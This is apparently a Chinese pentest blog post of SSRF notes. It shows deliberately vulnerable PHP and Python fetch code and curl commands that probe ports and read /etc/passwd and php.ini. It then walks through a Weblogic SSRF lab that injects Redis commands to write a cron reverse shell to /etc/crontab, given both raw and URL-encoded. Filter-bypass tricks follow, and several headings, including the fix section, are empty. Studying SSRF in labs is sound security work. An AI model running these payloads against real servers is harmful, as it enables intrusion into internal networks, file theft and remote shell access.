SSRF-Gopher-Attack-NoteBook
in Pentest with 0 comment

SSRF-Gopher-Attack-NoteBook

in Pentest with 0 comment

SSRF漏洞成因

当Web漏洞提供从其他服务器获取数据的功能。使用用户指定的url,web应用可以获取图片,下载文件,读取文件等。如果没有对这个功能进行合理限制,攻击者就能利用这个功能最为代理攻击脆弱内网。也称为服务端请求伪造。

SSRF脑图

ssrf.png

SSRF漏洞模拟

PHP中的SSRF

php file_get_contents:

<?php
if (isset($_POST['url'])) 
{ 
$content = file_get_contents($_POST['url']); 
$filename ='./images/'.rand().';img1.jpg'; 
file_put_contents($filename, $content); 
echo $_POST['url']; 
$img = "<img src=\"".$filename."\"/>"; 
} 
echo $img; 
?>

php fsockopen():

<?php 
function GetFile($host,$port,$link) 
{ 
$fp = fsockopen($host, intval($port), $errno, $errstr, 30); 
if (!$fp) { 
echo "$errstr (error number $errno) \n"; 
} else { 
$out = "GET $link HTTP/1.1\r\n"; 
$out .= "Host: $host\r\n"; 
$out .= "Connection: Close\r\n\r\n"; 
$out .= "\r\n"; 
fwrite($fp, $out); 
$contents=''; 
while (!feof($fp)) { 
$contents.= fgets($fp, 1024); 
} 
fclose($fp); 
return $contents; 
} 
}
?>

php curl_exec():

<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result); 
echo $result;
}
?>

java中的SSRF

java中的Request类,URL类的openStream,HttpClient类,URLConnection类

python中的SSRF

urlilb库中的请求urk为用户可控

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

利用方式

这里使用最简单易懂的服务端漏洞模拟脚本演练:

<?PHP
$ch = curl_init(); 
curl_setopt($ch, CURLOPT_URL, $_GET['url']); 
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 0); 
#curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
curl_exec($ch); 
curl_close($ch);
?>

端口探测

探测22,3306端口:

 ~/dr0op  curl "http://127.0.0.1/ssrf.php?url=drops.org.cn:22";
SSH-2.0-OpenSSH_6.6.1
 ~/dr0op  curl "http://127.0.0.1/ssrf.php?url=drops.org.cn:3306";
�F2e'/U@"��(@I0R/2LgE^,mysql_native_password!��#08S01Got packets out of order%

不过在实战中一般难以看到返回信息,可以通过返回状态如错误信息,响应时间,响应包大小等进行判断。

攻击内网脆弱应用

攻击Redis

攻击Weblogic

攻击内网web应用

攻击Struts2

其他

内网Web应用指纹识别

判断是否安装phpMyAdmin

Request: http://127.0.0.1:8080/phpMyAdmin/themes/original/img/b_tblimport.png
Request: http://127.0.0.1:8081/wp-content/themes/default/images/audio.jpg
Request: http://127.0.0.1:8082/profiles/minimal/translations/README.txt

读取本地敏感文件

利用file伪协议读取/etc/passwd

~/dr0op  curl "http://127.0.0.1/ssrf.php?url=file:///etc/passwd";
##
# User Database
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
...

可利用伪协议扩展攻击

file伪协议读取php配置文件

~/dr0op  curl "http://127.0.0.1/ssrf.php?url=file:///etc/php.ini"
[PHP]

;;;;;;;;;;;;;;;;;;;
; About php.ini   ;
;;;;;;;;;;;;;;;;;;;
; PHP's initialization file, generally called php.ini, is responsible for
; configuring many of the aspects of PHP's behavior.
......

dict伪协议探测内网服务

✘  ~/dr0op  curl "http://127.0.0.1/ssrf.php?url=dict://drops.org.cn:22"
SSH-2.0-OpenSSH_6.6.1
 ~/dr0op 

Weblogic SSRF攻击内网Redis

使用的是vulhub中的漏洞环境复现
启动环境

docker-compose build
docker-compose up -d

访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
发送GET请求GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
即可验证SSRF漏洞。如果访问的非http协议,则会返回did not have a valid SOAP content-type。
可以利用这个特性扫描内网端口。

注入HTTP头利用Redis反弹shell

在P牛的vulhub中复现,很详细

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器(docker环境的网段一般是172.*),发现172.19.0.2:6389可以连通:
ssrf_port.png
发送三条redis命令,将弹shell脚本写入/etc/crontab:

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

进行url编码:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

注意,换行符是“rn”,也就是“%0D%0A”。
将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.3:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

ssrf_bp_redis.png
查看/ect/crontab
crontab.png
成功反弹:
ssrf_shell.png
最后补充一下,可进行利用的cron有如下几个地方:

利用Gopher伪协议攻击Struts2

利用Gopher伪协议攻击Weblogic

SSRF绕过

更改IP地址写法:

(1)、8进制格式:0300.0250.0.1
(2)、16进制格式:0xC0.0xA8.0.1
(3)、10进制整数格式:3232235521
(4)、16进制整数格式:0xC0A80001
10.0.0.1.xip.io   resolves to   10.0.0.1
www.10.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1

利用302跳转

利用类似http://tinyurl.com短链接跳转

通过非http协议绕过

DNS重绑定

完整的攻击流程:

(1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP
(2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证
(3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。
(4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

修复方式

参考链接

http://www.freebuf.com/articles/web/135342.html
http://www.91ri.org/17111.html
http://www.freebuf.com/articles/web/20407.html
https://www.t00ls.net/articles-41070.html

Responses